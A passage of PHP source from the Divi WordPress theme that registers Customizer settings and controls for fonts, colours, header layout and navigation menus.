'et_divi[header_color]', array( 'label' => esc_html__( 'Heading Text Color', 'Divi' ), 'section' => 'et_divi_general_typography', 'settings' => 'et_divi[header_color]', ) ) ); $wp_customize->add_setting( 'et_divi[body_font]', array( 'default' => 'none', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_font_choices', ) ); $wp_customize->add_control( new ET_Divi_Select_Option( $wp_customize, 'et_divi[body_font]', array( 'label' => esc_html__( 'Body Font', 'Divi' ), 'section' => 'et_divi_general_typography', 'settings' => 'et_divi[body_font]', 'type' => 'select', 'choices' => $font_choices, ) ) ); $wp_customize->add_setting( 'et_divi[body_font_weight]', array( 'default' => '500', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_global_font_weight', ) ); $wp_customize->add_control( new ET_Divi_Custom_Select_Option( $wp_customize, 'et_divi[body_font_weight]', array( 'label' => esc_html__( 'Body Font Weight', 'Divi' ), 'section' => 'et_divi_general_typography', 'settings' => 'et_divi[body_font_weight]', 'type' => 'select', 'choices' => et_builder_get_font_weight_list(), ) ) ); $wp_customize->add_setting( 'et_divi[font_color]', array( 'default' => '#666666', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[font_color]', array( 'label' => esc_html__( 'Body Text Color', 'Divi' ), 'section' => 'et_divi_general_typography', 'settings' => 'et_divi[font_color]', ) ) ); $wp_customize->add_setting( 'et_divi[link_color]', array( 'default' => et_get_option( 'accent_color', '#2ea3f2' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[link_color]', array( 'label' => esc_html__( 'Link Color', 'Divi' ), 'section' => 'et_divi_general_typography', 'settings' => 'et_divi[link_color]', ) ) ); $wp_customize->add_setting( 'et_divi[accent_color]', array( 'default' => '#2ea3f2', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_setting( 'et_divi[secondary_accent_color]', array( 'default' => '#8800FF', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[accent_color]', array( 'label' => esc_html__( 'Primary Color', 'Divi' ), 'section' => 'et_divi_general_layout', 'settings' => 'et_divi[accent_color]', ) ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[secondary_accent_color]', array( 'label' => esc_html__( 'Secondary Color', 'Divi' ), 'section' => 'et_divi_general_layout', 'settings' => 'et_divi[secondary_accent_color]', ) ) ); $wp_customize->add_setting( 'et_divi[color_schemes]', array( 'default' => 'none', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_color_scheme', ) ); $wp_customize->add_control( 'et_divi[color_schemes]', array( 'label' => esc_html__( 'Color Schemes', 'Divi' ), 'section' => 'et_color_schemes', 'settings' => 'et_divi[color_schemes]', 'type' => 'select', 'choices' => et_divi_color_scheme_choices(), ) ); $wp_customize->add_setting( 'et_divi[header_style]', array( 'default' => 'left', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_header_style', ) ); $wp_customize->add_control( 'et_divi[header_style]', array( 'label' => esc_html__( 'Header Style', 'Divi' ), 'section' => 'et_divi_header_layout', 'type' => 'select', 'choices' => et_divi_header_style_choices(), ) ); $wp_customize->add_setting( 'et_divi[vertical_nav]', array( 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'wp_validate_boolean', ) ); $wp_customize->add_control( 'et_divi[vertical_nav]', array( 'label' => esc_html__( 'Enable Vertical Navigation', 'Divi' ), 'section' => 'et_divi_header_layout', 'type' => 'checkbox', ) ); $wp_customize->add_setting( 'et_divi[vertical_nav_orientation]', array( 'default' => 'left', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_left_right', ) ); $wp_customize->add_control( 'et_divi[vertical_nav_orientation]', array( 'label' => esc_html__( 'Vertical Menu Orientation', 'Divi' ), 'section' => 'et_divi_header_layout', 'type' => 'select', 'choices' => et_divi_left_right_choices(), ) ); if ( 'on' === et_get_option( 'divi_fixed_nav', 'on' ) ) { $wp_customize->add_setting( 'et_divi[hide_nav]', array( 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'wp_validate_boolean', ) ); $wp_customize->add_control( 'et_divi[hide_nav]', array( 'label' => esc_html__( 'Hide Navigation Until Scroll', 'Divi' ), 'section' => 'et_divi_header_layout', 'type' => 'checkbox', ) ); } $wp_customize->add_setting( 'et_divi[show_header_social_icons]', array( 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'wp_validate_boolean', ) ); $wp_customize->add_control( 'et_divi[show_header_social_icons]', array( 'label' => esc_html__( 'Show Social Icons', 'Divi' ), 'section' => 'et_divi_header_information', 'type' => 'checkbox', ) ); $wp_customize->add_setting( 'et_divi[show_search_icon]', array( 'default' => 'on', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'wp_validate_boolean', ) ); $wp_customize->add_control( 'et_divi[show_search_icon]', array( 'label' => esc_html__( 'Show Search Icon', 'Divi' ), 'section' => 'et_divi_header_information', 'type' => 'checkbox', ) ); $wp_customize->add_setting( 'et_divi[slide_nav_show_top_bar]', array( 'default' => 'on', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'wp_validate_boolean', ) ); $wp_customize->add_control( 'et_divi[slide_nav_show_top_bar]', array( 'label' => esc_html__( 'Show Top Bar', 'Divi' ), 'section' => 'et_divi_header_slide', 'type' => 'checkbox', ) ); $wp_customize->add_setting( 'et_divi[slide_nav_width]', array( 'default' => '320', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[slide_nav_width]', array( 'label' => esc_html__( 'Menu Width', 'Divi' ), 'section' => 'et_divi_header_slide', 'type' => 'range', 'input_attrs' => array( 'min' => 280, 'max' => 600, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[slide_nav_font_size]', array( 'default' => '14', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[slide_nav_font_size]', array( 'label' => esc_html__( 'Menu Text Size', 'Divi' ), 'section' => 'et_divi_header_slide', 'type' => 'range', 'input_attrs' => array( 'min' => 12, 'max' => 24, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[slide_nav_top_font_size]', array( 'default' => '14', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[slide_nav_top_font_size]', array( 'label' => esc_html__( 'Top Bar Text Size', 'Divi' ), 'section' => 'et_divi_header_slide', 'type' => 'range', 'input_attrs' => array( 'min' => 12, 'max' => 24, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[fullscreen_nav_font_size]', array( 'default' => '30', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[fullscreen_nav_font_size]', array( 'label' => esc_html__( 'Menu Text Size', 'Divi' ), 'section' => 'et_divi_header_slide', 'type' => 'range', 'input_attrs' => array( 'min' => 12, 'max' => 50, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[fullscreen_nav_top_font_size]', array( 'default' => '18', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[fullscreen_nav_top_font_size]', array( 'label' => esc_html__( 'Top Bar Text Size', 'Divi' ), 'section' => 'et_divi_header_slide', 'type' => 'range', 'input_attrs' => array( 'min' => 12, 'max' => 40, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[slide_nav_font_spacing]', array( 'default' => '0', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_int_number', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[slide_nav_font_spacing]', array( 'label' => esc_html__( 'Letter Spacing', 'Divi' ), 'section' => 'et_divi_header_slide', 'type' => 'range', 'input_attrs' => array( 'min' => -1, 'max' => 8, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[slide_nav_font]', array( 'default' => 'none', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_font_choices', ) ); $wp_customize->add_control( new ET_Divi_Select_Option( $wp_customize, 'et_divi[slide_nav_font]', array( 'label' => esc_html__( 'Font', 'Divi' ), 'section' => 'et_divi_header_slide', 'settings' => 'et_divi[slide_nav_font]', 'type' => 'select', 'choices' => $font_choices, ) ) ); $wp_customize->add_setting( 'et_divi[slide_nav_font_style]', array( 'default' => '', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_font_style', ) ); $wp_customize->add_control( new ET_Divi_Font_Style_Option( $wp_customize, 'et_divi[slide_nav_font_style]', array( 'label' => esc_html__( 'Font Style', 'Divi' ), 'section' => 'et_divi_header_slide', 'type' => 'font_style', 'choices' => et_divi_font_style_choices(), ) ) ); $wp_customize->add_setting( 'et_divi[slide_nav_bg]', array( 'default' => et_get_option( 'accent_color', '#2ea3f2' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[slide_nav_bg]', array( 'label' => esc_html__( 'Background Color', 'Divi' ), 'section' => 'et_divi_header_slide', 'settings' => 'et_divi[slide_nav_bg]', ) ) ); $wp_customize->add_setting( 'et_divi[slide_nav_links_color]', array( 'default' => '#ffffff', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[slide_nav_links_color]', array( 'label' => esc_html__( 'Menu Link Color', 'Divi' ), 'section' => 'et_divi_header_slide', 'settings' => 'et_divi[slide_nav_links_color]', ) ) ); $wp_customize->add_setting( 'et_divi[slide_nav_links_color_active]', array( 'default' => '#ffffff', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[slide_nav_links_color_active]', array( 'label' => esc_html__( 'Active Link Color', 'Divi' ), 'section' => 'et_divi_header_slide', 'settings' => 'et_divi[slide_nav_links_color_active]', ) ) ); $wp_customize->add_setting( 'et_divi[slide_nav_top_color]', array( 'default' => 'rgba(255,255,255,0.6)', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[slide_nav_top_color]', array( 'label' => esc_html__( 'Top Bar Text Color', 'Divi' ), 'section' => 'et_divi_header_slide', 'settings' => 'et_divi[slide_nav_top_color]', ) ) ); $wp_customize->add_setting( 'et_divi[slide_nav_search]', array( 'default' => 'rgba(255,255,255,0.6)', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[slide_nav_search]', array( 'label' => esc_html__( 'Search Bar Text Color', 'Divi' ), 'section' => 'et_divi_header_slide', 'settings' => 'et_divi[slide_nav_search]', ) ) ); $wp_customize->add_setting( 'et_divi[slide_nav_search_bg]', array( 'default' => 'rgba(0,0,0,0.2)', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[slide_nav_search_bg]', array( 'label' => esc_html__( 'Search Bar Background Color', 'Divi' ), 'section' => 'et_divi_header_slide', 'settings' => 'et_divi[slide_nav_search_bg]', ) ) ); $wp_customize->add_setting( 'et_divi[nav_fullwidth]', array( 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'wp_validate_boolean', ) ); $wp_customize->add_control( 'et_divi[nav_fullwidth]', array( 'label' => esc_html__( 'Make Full Width', 'Divi' ), 'section' => 'et_divi_header_primary', 'type' => 'checkbox', ) ); $wp_customize->add_setting( 'et_divi[hide_primary_logo]', array( 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'wp_validate_boolean', ) ); $wp_customize->add_control( 'et_divi[hide_primary_logo]', array( 'label' => esc_html__( 'Hide Logo Image', 'Divi' ), 'section' => 'et_divi_header_primary', 'type' => 'checkbox', ) ); $wp_customize->add_setting( 'et_divi[menu_height]', array( 'default' => '66', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[menu_height]', array( 'label' => esc_html__( 'Menu Height', 'Divi' ), 'section' => 'et_divi_header_primary', 'type' => 'range', 'input_attrs' => array( 'min' => 30, 'max' => 300, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[logo_height]', array( 'default' => '54', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[logo_height]', array( 'label' => esc_html__( 'Logo Max Height', 'Divi' ), 'section' => 'et_divi_header_primary', 'type' => 'range', 'input_attrs' => array( 'min' => 30, 'max' => 100, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[menu_margin_top]', array( 'default' => '0', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[menu_margin_top]', array( 'label' => esc_html__( 'Menu Top Margin', 'Divi' ), 'section' => 'et_divi_header_primary', 'type' => 'range', 'input_attrs' => array( 'min' => 0, 'max' => 300, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[primary_nav_font_size]', array( 'default' => '14', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[primary_nav_font_size]', array( 'label' => esc_html__( 'Text Size', 'Divi' ), 'section' => 'et_divi_header_primary', 'type' => 'range', 'input_attrs' => array( 'min' => 12, 'max' => 24, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[primary_nav_font_spacing]', array( 'default' => '0', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_int_number', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[primary_nav_font_spacing]', array( 'label' => esc_html__( 'Letter Spacing', 'Divi' ), 'section' => 'et_divi_header_primary', 'type' => 'range', 'input_attrs' => array( 'min' => -1, 'max' => 8, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[primary_nav_font]', array( 'default' => 'none', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_font_choices', ) ); $wp_customize->add_control( new ET_Divi_Select_Option( $wp_customize, 'et_divi[primary_nav_font]', array( 'label' => esc_html__( 'Font', 'Divi' ), 'section' => 'et_divi_header_primary', 'settings' => 'et_divi[primary_nav_font]', 'type' => 'select', 'choices' => $font_choices, ) ) ); $wp_customize->add_setting( 'et_divi[primary_nav_font_style]', array( 'default' => '', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_font_style', ) ); $wp_customize->add_control( new ET_Divi_Font_Style_Option( $wp_customize, 'et_divi[primary_nav_font_style]', array( 'label' => esc_html__( 'Font Style', 'Divi' ), 'section' => 'et_divi_header_primary', 'type' => 'font_style', 'choices' => et_divi_font_style_choices(), ) ) ); $wp_customize->add_setting( 'et_divi[secondary_nav_font_size]', array( 'default' => '12', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_setting( 'et_divi[secondary_nav_fullwidth]', array( 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'wp_validate_boolean', ) ); $wp_customize->add_control( 'et_divi[secondary_nav_fullwidth]', array( 'label' => esc_html__( 'Make Full Width', 'Divi' ), 'section' => 'et_divi_header_secondary', 'type' => 'checkbox', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[secondary_nav_font_size]', array( 'label' => esc_html__( 'Text Size', 'Divi' ), 'section' => 'et_divi_header_secondary', 'type' => 'range', 'input_attrs' => array( 'min' => 12, 'max' => 20, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[secondary_nav_font_spacing]', array( 'default' => '0', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_int_number', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[secondary_nav_font_spacing]', array( 'label' => esc_html__( 'Letter Spacing', 'Divi' ), 'section' => 'et_divi_header_secondary', 'type' => 'range', 'input_attrs' => array( 'min' => -1, 'max' => 8, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[secondary_nav_font]', array( 'default' => 'none', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_font_choices', ) ); $wp_customize->add_control( new ET_Divi_Select_Option( $wp_customize, 'et_divi[secondary_nav_font]', array( 'label' => esc_html__( 'Font', 'Divi' ), 'section' => 'et_divi_header_secondary', 'settings' => 'et_divi[secondary_nav_font]', 'type' => 'select', 'choices' => $font_choices, ) ) ); $wp_customize->add_setting( 'et_divi[secondary_nav_font_style]', array( 'default' => '', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_font_style', ) ); $wp_customize->add_control( new ET_Divi_Font_Style_Option( $wp_customize, 'et_divi[secondary_nav_font_style]', array( 'label' => esc_html__( 'Font Style', 'Divi' ), 'section' => 'et_divi_header_secondary', 'type' => 'font_style', 'choices' => et_divi_font_style_choices(), ) ) ); $wp_customize->add_setting( 'et_divi[menu_link]', array( 'default' => 'rgba(0,0,0,0.6)', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[menu_link]', array( 'label' => esc_html__( 'Text Color', 'Divi' ), 'section' => 'et_divi_header_primary', 'settings' => 'et_divi[menu_link]', ) ) ); $wp_customize->add_setting( 'et_divi[hide_mobile_logo]', array( 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'wp_validate_boolean', ) ); $wp_customize->add_control( 'et_divi[hide_mobile_logo]', array( 'label' => esc_html__( 'Hide Logo Image', 'Divi' ), 'section' => 'et_divi_mobile_menu', 'type' => 'checkbox', ) ); $wp_customize->add_setting( 'et_divi[mobile_menu_link]', array( 'default' => et_get_option( 'menu_link', 'rgba(0,0,0,0.6)' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[mobile_menu_link]', array( 'label' => esc_html__( 'Text Color', 'Divi' ), 'section' => 'et_divi_mobile_menu', 'settings' => 'et_divi[mobile_menu_link]', ) ) ); $wp_customize->add_setting( 'et_divi[menu_link_active]', array( 'default' => et_get_option( 'accent_color', '#2ea3f2' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[menu_link_active]', array( 'label' => esc_html__( 'Active Link Color', 'Divi' ), 'section' => 'et_divi_header_primary', 'settings' => 'et_divi[menu_link_active]', ) ) ); $wp_customize->add_setting( 'et_divi[primary_nav_bg]', array( 'default' => '#ffffff', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[primary_nav_bg]', array( 'label' => esc_html__( 'Background Color', 'Divi' ), 'section' => 'et_divi_header_primary', 'settings' => 'et_divi[primary_nav_bg]', ) ) ); $wp_customize->add_setting( 'et_divi[primary_nav_dropdown_bg]', array( 'default' => et_get_option( 'primary_nav_bg', '#ffffff' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[primary_nav_dropdown_bg]', array( 'label' => esc_html__( 'Dropdown Menu Background Color', 'Divi' ), 'section' => 'et_divi_header_primary', 'settings' => 'et_divi[primary_nav_dropdown_bg]', ) ) ); $wp_customize->add_setting( 'et_divi[primary_nav_dropdown_line_color]', array( 'default' => et_get_option( 'accent_color', '#2ea3f2' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[primary_nav_dropdown_line_color]', array( 'label' => esc_html__( 'Dropdown Menu Line Color', 'Divi' ), 'section' => 'et_divi_header_primary', 'settings' => 'et_divi[primary_nav_dropdown_line_color]', ) ) ); $wp_customize->add_setting( 'et_divi[primary_nav_dropdown_link_color]', array( 'default' => et_get_option( 'menu_link', 'rgba(0,0,0,0.7)' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[primary_nav_dropdown_link_color]', array( 'label' => esc_html__( 'Dropdown Menu Text Color', 'Divi' ), 'section' => 'et_divi_header_primary', 'settings' => 'et_divi[primary_nav_dropdown_link_color]', ) ) ); $wp_customize->add_setting( 'et_divi[primary_nav_dropdown_animation]', array( 'default' => 'fade', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_dropdown_animation', ) ); $wp_customize->add_control( 'et_divi[primary_nav_dropdown_animation]', array( 'label' => esc_html__( 'Dropdown Menu Animation', 'Divi' ), 'section' => 'et_divi_header_primary', 'type' => 'select', 'choices' => et_divi_dropdown_animation_choices(), ) ); $wp_customize->add_setting( 'et_divi[mobile_primary_nav_bg]', array( 'default' => et_get_option( 'primary_nav_bg', '#ffffff' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[mobile_primary_nav_bg]', array( 'label' => esc_html__( 'Background Color', 'Divi' ), 'section' => 'et_divi_mobile_menu', 'settings' => 'et_divi[mobile_primary_nav_bg]', ) ) ); $wp_customize->add_setting( 'et_divi[secondary_nav_bg]', array( 'default' => et_get_option( 'accent_color', '#2ea3f2' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[secondary_nav_bg]', array( 'label' => esc_html__( 'Background Color', 'Divi' ), 'section' => 'et_divi_header_secondary', 'settings' => 'et_divi[secondary_nav_bg]', ) ) ); $wp_customize->add_setting( 'et_divi[secondary_nav_text_color_new]', array( 'default' => '#ffffff', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[secondary_nav_text_color_new]', array( 'label' => esc_html__( 'Text Color', 'Divi' ), 'section' => 'et_divi_header_secondary', 'settings' => 'et_divi[secondary_nav_text_color_new]', ) ) ); $wp_customize->add_setting( 'et_divi[secondary_nav_dropdown_bg]', array( 'default' => et_get_option( 'secondary_nav_bg', et_get_option( 'accent_color', '#2ea3f2' ) ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[secondary_nav_dropdown_bg]', array( 'label' => esc_html__( 'Dropdown Menu Background Color', 'Divi' ), 'section' => 'et_divi_header_secondary', 'settings' => 'et_divi[secondary_nav_dropdown_bg]', ) ) ); $wp_customize->add_setting( 'et_divi[secondary_nav_dropdown_link_color]', array( 'default' => et_get_option( 'secondary_nav_text_color_new', '#ffffff' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[secondary_nav_dropdown_link_color]', array( 'label' => esc_html__( 'Dropdown Menu Text Color', 'Divi' ), 'section' => 'et_divi_header_secondary', 'settings' => 'et_divi[secondary_nav_dropdown_link_color]', ) ) ); $wp_customize->add_setting( 'et_divi[secondary_nav_dropdown_animation]', array( 'default' => 'fade', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_dropdown_animation', ) ); $wp_customize->add_control( 'et_divi[secondary_nav_dropdown_animation]', array( 'label' => esc_html__( 'Dropdown Menu Animation', 'Divi' ), 'section' => 'et_divi_header_secondary', 'type' => 'select', 'choices' => et_divi_dropdown_animation_choices(), ) ); // Setting with no control kept for backwards compatbility. $wp_customize->add_setting( 'et_divi[primary_nav_text_color]', array( 'default' => 'dark', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'sanitize_hex_color', ) ); // Setting with no control kept for backwards compatbility. $wp_customize->add_setting( 'et_divi[secondary_nav_text_color]', array( 'default' => 'light', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'sanitize_hex_color', ) ); if ( 'on' === et_get_option( 'divi_fixed_nav', 'on' ) ) { $wp_customize->add_setting( 'et_divi[hide_fixed_logo]', array( 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'wp_validate_boolean', ) ); $wp_customize->add_control( 'et_divi[hide_fixed_logo]', array( 'label' => esc_html__( 'Hide Logo Image', 'Divi' ), 'section' => 'et_divi_header_fixed', 'type' => 'checkbox', ) ); $wp_customize->add_setting( 'et_divi[minimized_menu_height]', array( 'default' => '40', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[minimized_menu_height]', array( 'label' => esc_html__( 'Fixed Menu Height', 'Divi' ), 'section' => 'et_divi_header_fixed', 'type' => 'range', 'input_attrs' => array( 'min' => 30, 'max' => 300, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[fixed_primary_nav_font_size]', array( 'default' => et_get_option( 'primary_nav_font_size', '14' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[fixed_primary_nav_font_size]', array( 'label' => esc_html__( 'Text Size', 'Divi' ), 'section' => 'et_divi_header_fixed', 'type' => 'range', 'input_attrs' => array( 'min' => 12, 'max' => 24, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[fixed_primary_nav_bg]', array( 'default' => 